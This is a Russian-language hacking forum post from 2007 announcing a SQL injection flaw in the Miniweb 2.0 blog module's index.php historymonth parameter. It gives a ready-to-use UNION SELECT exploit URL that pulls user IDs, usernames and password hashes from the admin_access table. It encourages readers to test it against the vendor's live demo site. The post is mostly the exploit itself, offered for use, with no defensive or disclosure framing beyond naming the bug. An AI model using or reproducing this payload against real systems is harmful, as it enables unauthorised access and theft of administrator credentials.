08.12.2007, 03:59
|
|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
С нами:
10243046
Репутация:
3033
|
|
Miniweb 2.0
Сайт производителя : http://www.miniweb2.com/15modules/blog-writer.htm
Уязвимость: не фильтруется переменная в параметре historymonth, скрипта index.php
Сплойт:
PHP код:
http://localhost/index.php?historyyear=2007&historymonth=-12+union+select+1,2,concat(user_id,0x3a,username,0x3a,password),0,5,6,7,8,9,0+from+admin_access/*
Потестить можно на демоверсии на сайте производителя.
з\ы алгоритм шифрования пароля для меня остался загадкой
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
Последний раз редактировалось Constantine; 08.12.2007 в 05:15..
|
|
|